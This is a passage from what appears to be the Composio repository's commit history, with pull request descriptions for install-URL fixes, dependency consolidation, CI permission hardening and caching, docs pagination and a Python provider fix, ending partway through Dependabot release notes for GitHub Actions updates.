regenerates that documentation. Marked Documentation; a reviewer may also consider it a Bug fix. --> ### How Has This Been Tested? No application code changed (static Markdown plus a CI heredoc), so no unit test applies. Verified the branch/URL facts directly: ``` # Default branch is next; no main branch exists git ls-remote --symref origin HEAD # -> ref: refs/heads/next git ls-remote --heads origin main next # only refs/heads/next (+ changeset-release/next); no main # The broken vs working URL, live curl -s -o /dev/null -w "%{http_code}" https://raw.githubusercontent.com/ComposioHQ/composio/main/install.sh # 404 curl -s -o /dev/null -w "%{http_code}" https://raw.githubusercontent.com/ComposioHQ/composio/next/install.sh # 200 # After the change: 0 remaining main URLs, 7 next URLs grep -rn "composio/main/install.sh" INSTALL.md .github/workflows/build-cli-binaries.yml # no matches grep -rn "composio/next/install.sh" INSTALL.md .github/workflows/build-cli-binaries.yml # 7 matches # The workflow YAML still parses cleanly after the heredoc edit python -c "import yaml; yaml.safe_load(open('.github/workflows/build-cli-binaries.yml'))" ``` ### Screenshots (if applicable) N/A. ### Checklist - [x] I have read the Code of Conduct and this PR adheres to it - [x] I ran linters/tests locally and they passed <!-- YAML re-parses; grep + curl checks above --> - [x] I updated documentation as needed <!-- this change is the documentation fix --> - [ ] I added tests or explain why not applicable <!-- N/A: static docs URL + CI heredoc, no code path to test --> - [ ] I added a changeset if this change affects published packages <!-- N/A: docs + CI only, no published package --> ### Additional context The 14 `github.com/ComposioHQ/composio/tree/main/...` `homepage` fields in `ts/**/package.json` also point at the non-existent `main` branch, but those are published-package metadata (a different URL form that would require a changeset) and are left out to keep this PR single-purpose. They are a reasonable follow-up. |
||
|
Alberto Schiabel
|
58bc93b2d9 |
chore(deps): consolidate dependency updates (#3760)
This PR: - consolidates https://github.com/ComposioHQ/composio/pull/3733, https://github.com/ComposioHQ/composio/pull/3735 through https://github.com/ComposioHQ/composio/pull/3744, and https://github.com/ComposioHQ/composio/pull/3752 - refreshes the pnpm workspace dependencies under the existing `minimumReleaseAge` supply-chain gate - keeps latest compatible pins for ESLint 9, AI SDK 6, and Cloudflare workers types 4 where latest majors conflict with the current workspace - keeps zod-v3 runtime fixtures on `zod@3.25.76` while bumping the workspace catalog to zod 4 - bumps Python `composio-client` to `1.42.0` and refreshes `uv.lock` - updates the SHA-pinned Claude and Codex workflow actions from the Dependabot action group - adds a patch changeset for the versioned package manifests touched by dependency updates - verifies the rollup with frozen pnpm/uv locks, peer checks, audit threshold checks, typecheck, lint, builds, TypeScript tests, and Python `nox -s chk` ## Context `pnpm audit --prod --audit-level=moderate` passes. The remaining production audit item is a low `@ai-sdk/provider-utils` advisory through Mastra transitive dependencies; forcing it higher would require leaving the compatible stable Mastra dependency path. |
||
|
Alberto Schiabel
|
d3875f99d1 |
chore(ci): add least-privilege tokens, fork-pr guards, audit gate (#3748)
This PR: - depends on #3751 (dependency fixes split out; **merge #3751 first** or the new audit gate below is red) - adds top-level `permissions: contents: read` to the 23 workflows missing one, with job-level opt-ups only where jobs demonstrably need writes (releases, docs automation PR creation, audit PR comments); the `security.secrets-detection.yml` caller job mirrors the reusable workflow's declared scopes so the secret-scanning check keeps working under the cap - pins the secrets-detection reusable-workflow ref to ComposioHQ/.github@a6c053d (master, post ComposioHQ/.github#12) whose actions are now SHA-pinned, fixing the `startup_failure` every PR was hitting - guards all four E2E jobs in `ts.test-e2e.yml` so dependabot and fork PRs (which get no secrets) skip secret-backed steps with a `::notice` instead of failing red; install/build and the secret-free CLI docker build still run on fork PRs - makes `pnpm audit --prod --audit-level=high` a hard gate in `ts.audit.yml` (the advisory PR-comment flow is unchanged) and adds root `package.json`/`pnpm-lock.yaml`/`pnpm-workspace.yaml` to the audit triggers so manifest-only changes can't bypass it - drops the orphaned job-level `pull-requests: write` from `ts.test.yml` (no step has used the PR API since the #2212 comment step was removed) ## Context Implements `plans/002-ci-hardening-permissions-and-fork-guards.md` (advisor plan, orthogonal to the SDK v1 roadmap). A hard `pnpm audit` gate was tried once before and reverted for blocking unrelated PRs (#2213, `dec0ced78`); it lands now paired with #3751, which clears the high advisories, and it only fails on high/critical advisories in production dependencies. Reviewer notes: - release workflows verified statically: `py.release` publishes via PyPI credentials (no token writes); `ts.release` does all writes via the minted GitHub App token and keeps `id-token: write` - worth a dry run after merge: one fork PR to confirm the four skip notices, and one same-repo Secrets Detection run to confirm no 403 warning (the run on this PR already passed clean) - known follow-ups (deliberately out of scope): dev-dependency high advisories (gate is `--prod`), a scheduled audit run, encoding the permissions convention in `.agents/skills/repo-guidance`, extracting the duplicated guard into a composite action |
||
|
Alberto Schiabel
|
8d5823be87 |
chore(ci): cache turbo, bun, and uv and cancel superseded pr runs (#3747)
This PR: - adds `concurrency` to the ten PR/push CI workflows: superseded **PR** runs are cancelled, while push runs use a per-run group (`github.run_id`) so every commit on `next`/`master` still gets its own run - caches turbo outputs (`.turbo/cache`) via a new opt-in `enable-turbo-cache` input on the `setup-node-pnpm-bun` composite (keyed per job — concurrent jobs save different task graphs), enabled in `ts.build`, `ts.test`, `ts.typecheck`, and all four `ts.test-e2e` jobs - enables turbo caching for `typecheck`, removes the incorrect `dist/` outputs from `test`, hashes root `tsconfig.base.json` in `build`/`typecheck` inputs, and adds `mise.toml`/`mise.lock` to `globalDependencies` so toolchain bumps bust every task hash (addresses the Bugbot finding) - fixes `@composio/slim`'s build to participate in the turbo graph: core moves to slim's `devDependencies` (published `dependencies` unchanged) and the script no longer shells out to `pnpm --filter @composio/core build`, which raced concurrent dependents by wiping `core/dist` mid-build and double-built core on every cold run — slim's `dist` remains byte-identical to core's; no changeset added since the published artifact is unchanged (say the word if policy wants one anyway) - fixes the `py.test` matrix cache to `~/.cache/uv` (it cached `~/.cache/pip` while installing via `uv pip`) and caches `~/.bun/install/cache` in the five docs workflows - adds `turbo.jsonc` to the TS workflows' path filters (previously unwatched) - release/publish workflows are deliberately untouched Measured (same commit, cold first attempt vs `gh run rerun` warm): ts.build 103s → 53s, ts.test 157s → 55s (`turbo test` 24/24 cached in 182ms), ts.typecheck 80s → 43s; py.test legs save a few seconds each (uv was already fast). Warm floor is checkout + mise + pnpm-install overhead. ## Context Implements `plans/001-ci-speed-caching-and-concurrency.md` from the advisor audit on `docs/sdk-v1-decision-records`. Implementation by codex against the plan, then self-reviewed and counter-reviewed; warm-rerun testing surfaced and fixed three latent issues (toolchain files absent from turbo's hash, first-writer-wins cache-key collision across jobs, and the slim out-of-band core rebuild race). |
||
|
Alberto Schiabel
|
8e8ce95eb3 |
fix(docs): paginate toolkits fetch so the full catalog reaches the site (#3745)
This PR: - fixes the `docs.composio.dev/toolkits` search returning 0 results for toolkits like Workday that exist in the catalog - paginates `fetchToolkits()` in `generate-toolkits.ts` by following `next_cursor`: `GET /api/v3/toolkits` silently caps `limit` at 1000 per page and defaults to usage ordering, so the previous single-request fetch shipped only the top-1000 toolkits — about half of the ~2.1k catalog - dedupes across pages by slug (pages can overlap when the catalog shifts between cursor fetches) and throws instead of silently truncating if the catalog ever outgrows the page guard, mirroring the dashboard's `listToolkits` procedure - fixes the `docs-update-data.yml` workflow, broken since the sessions-first docs rewrite (https://github.com/ComposioHQ/composio/pull/3637) moved the generated meta-tools MDX to `docs/content/toolkits/meta-tools/`: `create-pull-request` aborted on the stale `docs/content/reference/meta-tools/` pathspec, so every scheduled data sync since then failed at the Create Pull Request step and docs data went stale - updates the request-volume notes in `fetch-with-retry.ts` and `scripts/README.md` (~3000 → ~6500 requests per run); the existing 429 backoff already absorbs the larger run ## Context The toolkits landing page filters a build-time snapshot (`public/data/toolkits-list.json`) client-side, so every toolkit missing from the snapshot is unsearchable and its detail page has no data. The snapshot regenerates via the scheduled `docs-update-data.yml` workflow; with both fixes in place the automated data PR picks up the full catalog and the "Browse N toolkits" count grows from 1000 to the real catalog size. Verified offline by running the script against a stubbed paginated backend (1500 toolkits across 2 pages): all pages are fetched, ordering is preserved, no duplicates. `bun run types:check` and eslint pass. A manual `workflow_dispatch` of the fixed workflow on this branch produced the full-catalog data PR. |
||
|
Alberto Schiabel
|
2e42d75259 |
fix(py): apply skip_default to agentic provider signatures (langchain, langgraph, autogen) (#3730)
## Summary
Agentic providers honor `schema_config={"skip_defaults": True}` for
`args_schema` (defaults stripped, fields become required) but were
**not** applying the same `skip_default` to the function
`__signature__`, so the wrapped tool's signature and `args_schema`
disagreed about which defaulted params were optional. The sibling
`llamaindex` provider already passed it to both.
**Supersedes #3727.** This is the polished version, now that the ag2
migration (#3729) landed and `composio-autogen` imports again — so the
autogen case uses a real import instead of the earlier source-load stub,
and the parity tests run in CI.
## Changes
- **langchain / langgraph** (original commit by @anxkhn): pass
`skip_default=self.skip_default` to
`get_signature_format_from_schema_params`.
- **autogen**: same one-line alignment. autogen builds **only**
`__signature__` (no `args_schema`), so it never had the *mismatch* — but
its signature still ignored `skip_defaults`. Aligned for consistency;
verified on the signature alone.
- **tests**: `TestAgenticSkipDefaultsParity` guards each provider with
`pytest.importorskip`; adds real-import autogen regression tests (no
stub).
- **CI + nox**: install `providers/autogen` in the unit-test job
(`py.test.yml`) and the nox `tst` session so the autogen parity tests
actually run, plus a **hard `import composio_autogen` smoke check** in
CI.
## Why the CI import guard (not just the tests)
The `importorskip`-guarded unit tests **skip** when a provider can't be
imported — which is the correct behavior for optional providers, but
means they'd *silently skip* if autogen broke on a fresh install
(exactly the failure that #3729 just fixed). The extra `python -c
"import composio_autogen"` in the import step is a **hard** check that
fails loudly, so a future dependency breakage can't slip through as a
green build.
`providers/langchain` + `providers/autogen` co-install cleanly
(verified: 59 packages, ag2 0.14.0, no conflict). langgraph continues to
skip in CI — its code path is identical to langchain's, which runs.
## Type of change
- [x] Bug fix
## How Has This Been Tested?
- Base venv (langchain only): langchain parity **passes**, langgraph +
autogen **skip** (no error).
- CI-mirror (langchain + autogen, editable): **4 passed, 2 skipped
(langgraph)** — autogen tests actually run and pass.
- Regression proof, each provider: reverting only the provider line
fails the skip-defaults case with `assert 5 is Parameter.empty`;
restoring passes. Verified for langchain **and** autogen.
- `ruff check`, `ruff format --check`, `mypy`, and full
`tests/test_provider.py` (29 passed, 4 skipped) → clean. `py.test.yml`
parses.
## Checklist
- [x] I ran linters/tests locally and they passed
- [x] I added tests: langchain/langgraph parity + regression, and
autogen parity that runs in CI
- [ ] Changeset: not applicable — Python-only change.
## Credits
Original fix by @anxkhn (#3713 → #3727), preserved as the first commit
and co-authored on the follow-up.
---------
Co-authored-by: Anas Khan <83116240+anxkhn@users.noreply.github.com>
|
||
|
dependabot[bot]
|
de6a8ce295 |
chore(deps): bump the github-actions group across 1 directory with 7 updates (#3694)
Bumps the github-actions group with 7 updates in the / directory: | Package | From | To | | --- | --- | --- | | [actions/checkout](https://github.com/actions/checkout) | `6.0.2` | `7.0.0` | | [swift-actions/setup-swift](https://github.com/swift-actions/setup-swift) | `2.4.0` | `3` | | [anthropics/claude-code-action](https://github.com/anthropics/claude-code-action) | `1.0.140` | `1.0.159` | | [openai/codex-action](https://github.com/openai/codex-action) | `1.8` | `1.9` | | [anthropics/claude-code-action/base-action](https://github.com/anthropics/claude-code-action) | `1.0.140` | `1.0.159` | | [actions/cache](https://github.com/actions/cache) | `5.0.5` | `6.1.0` | | [actions/setup-python](https://github.com/actions/setup-python) | `6.2.0` | `6.3.0` | Updates `actions/checkout` from 6.0.2 to 7.0.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/actions/checkout/releases">actions/checkout's releases</a>.</em></p> <blockquote> <h2>v7.0.0</h2> <h2>What's Changed</h2> <ul> <li>block checking out fork pr for pull_request_target and workflow_run by <a href="https://github.com/aiqiaoy"><code>@aiqiaoy</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2454">actions/checkout#2454</a></li> <li>Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the minor-actions-dependencies group across 1 directory by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2458">actions/checkout#2458</a></li> <li>Bump flatted from 3.3.1 to 3.4.2 by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2460">actions/checkout#2460</a></li> <li>Bump js-yaml from 4.1.0 to 4.2.0 by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2461">actions/checkout#2461</a></li> <li>Bump <code>@actions/core</code> and <code>@actions/tool-cache</code> and Remove uuid by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2459">actions/checkout#2459</a></li> <li>upgrade module to esm and update dependencies by <a href="https://github.com/aiqiaoy"><code>@aiqiaoy</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2463">actions/checkout#2463</a></li> <li>Bump the minor-npm-dependencies group across 1 directory with 3 updates by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2462">actions/checkout#2462</a></li> <li>getting ready for checkout v7 release by <a href="https://github.com/aiqiaoy"><code>@aiqiaoy</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2464">actions/checkout#2464</a></li> <li>update error wording by <a href="https://github.com/aiqiaoy"><code>@aiqiaoy</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2467">actions/checkout#2467</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/aiqiaoy"><code>@aiqiaoy</code></a> made their first contribution in <a href="https://redirect.github.com/actions/checkout/pull/2454">actions/checkout#2454</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/actions/checkout/compare/v6.0.3...v7.0.0">https://github.com/actions/checkout/compare/v6.0.3...v7.0.0</a></p> <h2>v6.0.3</h2> <h2>What's Changed</h2> <ul> <li>Update changelog by <a href="https://github.com/ericsciple"><code>@ericsciple</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2357">actions/checkout#2357</a></li> <li>fix: expand merge commit SHA regex and add SHA-256 test cases by <a href="https://github.com/yaananth"><code>@yaananth</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2414">actions/checkout#2414</a></li> <li>Fix checkout init for SHA-256 repositories by <a href="https://github.com/yaananth"><code>@yaananth</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2439">actions/checkout#2439</a></li> <li>Update changelog for v6.0.3 by <a href="https://github.com/yaananth"><code>@yaananth</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2446">actions/checkout#2446</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/yaananth"><code>@yaananth</code></a> made their first contribution in <a href="https://redirect.github.com/actions/checkout/pull/2414">actions/checkout#2414</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/actions/checkout/compare/v6...v6.0.3">https://github.com/actions/checkout/compare/v6...v6.0.3</a></p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/actions/checkout/blob/main/CHANGELOG.md">actions/checkout's changelog</a>.</em></p> <blockquote> <h1>Changelog</h1> <h2>v7.0.0</h2> <ul> <li>Block checking out fork PR for pull_request_target and workflow_run by <a href="https://github.com/aiqiaoy"><code>@aiqiaoy</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2454">actions/checkout#2454</a></li> <li>Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the minor-actions-dependencies group across 1 directory by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2458">actions/checkout#2458</a></li> <li>Bump flatted from 3.3.1 to 3.4.2 by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2460">actions/checkout#2460</a></li> <li>Bump js-yaml from 4.1.0 to 4.2.0 by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2461">actions/checkout#2461</a></li> <li>Bump <code>@actions/core</code> and <code>@actions/tool-cache</code> and Remove uuid by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2459">actions/checkout#2459</a></li> <li>upgrade module to esm and update dependencies by <a href="https://github.com/aiqiaoy"><code>@aiqiaoy</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2463">actions/checkout#2463</a></li> <li>Bump the minor-npm-dependencies group across 1 directory with 3 updates by <a href="https://github.com/dependabot"><code>@dependabot</code></a>[bot] in <a href="https://redirect.github.com/actions/checkout/pull/2462">actions/checkout#2462</a></li> </ul> <h2>v6.0.3</h2> <ul> <li>Fix checkout init for SHA-256 repositories by <a href="https://github.com/yaananth"><code>@yaananth</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2439">actions/checkout#2439</a></li> <li>fix: expand merge commit SHA regex and add SHA-256 test cases by <a href="https://github.com/yaananth"><code>@yaananth</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2414">actions/checkout#2414</a></li> </ul> <h2>v6.0.2</h2> <ul> <li>Fix tag handling: preserve annotations and explicit fetch-tags by <a href="https://github.com/ericsciple"><code>@ericsciple</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2356">actions/checkout#2356</a></li> </ul> <h2>v6.0.1</h2> <ul> <li>Add worktree support for persist-credentials includeIf by <a href="https://github.com/ericsciple"><code>@ericsciple</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2327">actions/checkout#2327</a></li> </ul> <h2>v6.0.0</h2> <ul> <li>Persist creds to a separate file by <a href="https://github.com/ericsciple"><code>@ericsciple</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2286">actions/checkout#2286</a></li> <li>Update README to include Node.js 24 support details and requirements by <a href="https://github.com/salmanmkc"><code>@salmanmkc</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2248">actions/checkout#2248</a></li> </ul> <h2>v5.0.1</h2> <ul> <li>Port v6 cleanup to v5 by <a href="https://github.com/ericsciple"><code>@ericsciple</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2301">actions/checkout#2301</a></li> </ul> <h2>v5.0.0</h2> <ul> <li>Update actions checkout to use node 24 by <a href="https://github.com/salmanmkc"><code>@salmanmkc</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2226">actions/checkout#2226</a></li> </ul> <h2>v4.3.1</h2> <ul> <li>Port v6 cleanup to v4 by <a href="https://github.com/ericsciple"><code>@ericsciple</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2305">actions/checkout#2305</a></li> </ul> <h2>v4.3.0</h2> <ul> <li>docs: update README.md by <a href="https://github.com/motss"><code>@motss</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/1971">actions/checkout#1971</a></li> <li>Add internal repos for checking out multiple repositories by <a href="https://github.com/mouismail"><code>@mouismail</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/1977">actions/checkout#1977</a></li> <li>Documentation update - add recommended permissions to Readme by <a href="https://github.com/benwells"><code>@benwells</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2043">actions/checkout#2043</a></li> <li>Adjust positioning of user email note and permissions heading by <a href="https://github.com/joshmgross"><code>@joshmgross</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2044">actions/checkout#2044</a></li> <li>Update README.md by <a href="https://github.com/nebuk89"><code>@nebuk89</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2194">actions/checkout#2194</a></li> <li>Update CODEOWNERS for actions by <a href="https://github.com/TingluoHuang"><code>@TingluoHuang</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2224">actions/checkout#2224</a></li> <li>Update package dependencies by <a href="https://github.com/salmanmkc"><code>@salmanmkc</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/2236">actions/checkout#2236</a></li> </ul> <h2>v4.2.2</h2> <ul> <li><code>url-helper.ts</code> now leverages well-known environment variables by <a href="https://github.com/jww3"><code>@jww3</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/1941">actions/checkout#1941</a></li> <li>Expand unit test coverage for <code>isGhes</code> by <a href="https://github.com/jww3"><code>@jww3</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/1946">actions/checkout#1946</a></li> </ul> <h2>v4.2.1</h2> <ul> <li>Check out other refs/* by commit if provided, fall back to ref by <a href="https://github.com/orhantoy"><code>@orhantoy</code></a> in <a href="https://redirect.github.com/actions/checkout/pull/1924">actions/checkout#1924</a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/actions/checkout/commit/9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0"><code>9c091bb</code></a> update error wording (<a href="https://redirect.github.com/actions/checkout/issues/2467">#2467</a>)</li> <li><a href="https://github.com/actions/checkout/commit/1044a6dea927916f2c38ba5aeffbc0a847b1221a"><code>1044a6d</code></a> getting ready for checkout v7 release (<a href="https://redirect.github.com/actions/checkout/issues/2464">#2464</a>)</li> <li><a href="https://github.com/actions/checkout/commit/f0282184c7ce73ab54c7e4ab5a617122602e575f"><code>f028218</code></a> Bump the minor-npm-dependencies group across 1 directory with 3 updates (<a href="https://redirect.github.com/actions/checkout/issues/2462">#2462</a>)</li> <li><a href="https://github.com/actions/checkout/commit/d914b262ffc244530a203ab40decab34c3abf34d"><code>d914b26</code></a> upgrade module to esm and update dependencies (<a href="https://redirect.github.com/actions/checkout/issues/2463">#2463</a>)</li> <li><a href="https://github.com/actions/checkout/commit/537c7ef99cef6e5ddb5e7ff5d16d14510503801d"><code>537c7ef</code></a> Bump <code>@actions/core</code> and <code>@actions/tool-cache</code> and Remove uuid (<a href="https://redirect.github.com/actions/checkout/issues/2459">#2459</a>)</li> <li><a href="https://github.com/actions/checkout/commit/130a169078a413d3a5246a393625e8e742f387f6"><code>130a169</code></a> Bump js-yaml from 4.1.0 to 4.2.0 (<a href="https://redirect.github.com/actions/checkout/issues/2461">#2461</a>)</li> <li><a href="https://github.com/actions/checkout/commit/7d09575332117a40b46e5e020664df234cd416f3"><code>7d09575</code></a> Bump flatted from 3.3.1 to 3.4.2 (<a href="https://redirect.github.com/actions/checkout/issues/2460">#2460</a>)</li> <li><a href="https://github.com/actions/checkout/commit/0f9f3aa320cb53abeb534aeb54048075d9697a0e"><code>0f9f3aa</code></a> Bump actions/publish-immutable-action (<a href="https://redirect.github.com/actions/checkout/issues/2458">#2458</a>)</li> <li><a href="https://github.com/actions/checkout/commit/f9e715a95fcd1f9253f77dd28f11e88d2d6460c7"><code>f9e715a</code></a> block checking out fork pr for pull_request_target and workflow_run (<a href="https://redirect.github.com/actions/checkout/issues/2454">#2454</a>)</li> <li><a href="https://github.com/actions/checkout/commit/df4cb1c069e1874edd31b4311f1884172cec0e10"><code>df4cb1c</code></a> Update changelog for v6.0.3 (<a href="https://redirect.github.com/actions/checkout/issues/2446">#2446</a>)</li> <li>Additional commits viewable in <a href="https://github.com/actions/checkout/compare/v6.0.2...9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0">compare view</a></li> </ul> </details> <br /> Updates `swift-actions/setup-swift` from 2.4.0 to 3 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/swift-actions/setup-swift/releases">swift-actions/setup-swift's releases</a>.</em></p> <blockquote> <h2>3.0.0 Beta 1</h2> <h2>Beta 1 of using Swiftly to setup Swift</h2> <ul> <li>Now uses Swiftly to set up Swift</li> <li>Added flag <code>skip-verify-signature</code> to disable GPG verification checks</li> </ul> <h2>Features</h2> <ul> <li>Setup Swift more Swiftly 🚀 (setup-swift 3.0) (<a href="https://redirect.github.com/swift-actions/setup-swift/issues/710">#710</a>) <a href="https://github.com/fwal"><code>@fwal</code></a></li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/swift-actions/setup-swift/commit/364295d9c23900ce04d4e5cc708387921b4e50f9"><code>364295d</code></a> Bump build</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/7ef546c485df71a42699fdc047a6da322da93917"><code>7ef546c</code></a> Update readme</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/3273319f0f0618754506c4c1254da1ec36527312"><code>3273319</code></a> Bump swiftly</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/a90d2583fe1ebfd214260283f072a5fd4fb21ed0"><code>a90d258</code></a> Pass skip flag</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/ded451bd855f0672b0d538b7b00f0f48958284d7"><code>ded451b</code></a> Update workflows</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/0dad4e4b3ad6947c15c7ce23c6193d548ffb067c"><code>0dad4e4</code></a> Merge pull request <a href="https://redirect.github.com/swift-actions/setup-swift/issues/710">#710</a> from swift-actions/next</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/4abecca1bb9fd97e4857628fef56642847a3f8a8"><code>4abecca</code></a> Build</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/0c751509fec030bde17c1c403ee2cd10c61168d9"><code>0c75150</code></a> Formatting</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/7849873cbfe87fdcd1a020cc9cc31d317662e8bb"><code>7849873</code></a> Update gpg handling</li> <li><a href="https://github.com/swift-actions/setup-swift/commit/9005990785b87227ac8641478fa68113afcd07ac"><code>9005990</code></a> Merge branch 'main' into next</li> <li>Additional commits viewable in <a href="https://github.com/swift-actions/setup-swift/compare/7ca6abe6b3b0e8b5421b88be48feee39cbf52c6a...364295d9c23900ce04d4e5cc708387921b4e50f9">compare view</a></li> </ul> </details> <br /> Updates `anthropics/claude-code-action` from 1.0.140 to 1.0.159 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/anthropics/claude-code-action/releases">anthropics/claude-code-action's releases</a>.</em></p> <blockquote> <h2>v1.0.159</h2> <h2>What's Changed</h2> <ul> <li>fix: bound app token revocation cleanup by <a href="https://github.com/tarunag10"><code>@tarunag10</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1437">anthropics/claude-code-action#1437</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/tarunag10"><code>@tarunag10</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1437">anthropics/claude-code-action#1437</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.159">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.159</a></p> <h2>v1.0.158</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.158">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.158</a></p> <h2>v1.0.157</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.157">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.157</a></p> <h2>v1.0.156</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.156">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.156</a></p> <h2>v1.0.155</h2> <h2>What's Changed</h2> <ul> <li>fix: filter PR reviews and inline review comments to trigger time by <a href="https://github.com/EffortlessSteven"><code>@EffortlessSteven</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1385">anthropics/claude-code-action#1385</a></li> <li>test: cover format-turns content-type fallbacks and system_other handling by <a href="https://github.com/farmer-data"><code>@farmer-data</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1421">anthropics/claude-code-action#1421</a></li> <li>fix: allow @ in branch names (valid per git-check-ref-format) by <a href="https://github.com/bellalMohamed"><code>@bellalMohamed</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1411">anthropics/claude-code-action#1411</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/EffortlessSteven"><code>@EffortlessSteven</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1385">anthropics/claude-code-action#1385</a></li> <li><a href="https://github.com/farmer-data"><code>@farmer-data</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1421">anthropics/claude-code-action#1421</a></li> <li><a href="https://github.com/bellalMohamed"><code>@bellalMohamed</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1411">anthropics/claude-code-action#1411</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.155">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.155</a></p> <h2>v1.0.154</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.154">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.154</a></p> <h2>v1.0.153</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.153">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.153</a></p> <h2>v1.0.152</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.152">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.152</a></p> <h2>v1.0.151</h2> <h2>What's Changed</h2> <ul> <li>fix: skip workflow validation token exchange failures by <a href="https://github.com/Ryanoonan"><code>@Ryanoonan</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1417">anthropics/claude-code-action#1417</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/Ryanoonan"><code>@Ryanoonan</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1417">anthropics/claude-code-action#1417</a></li> </ul> <p><strong>Full Changelog</strong>: <a 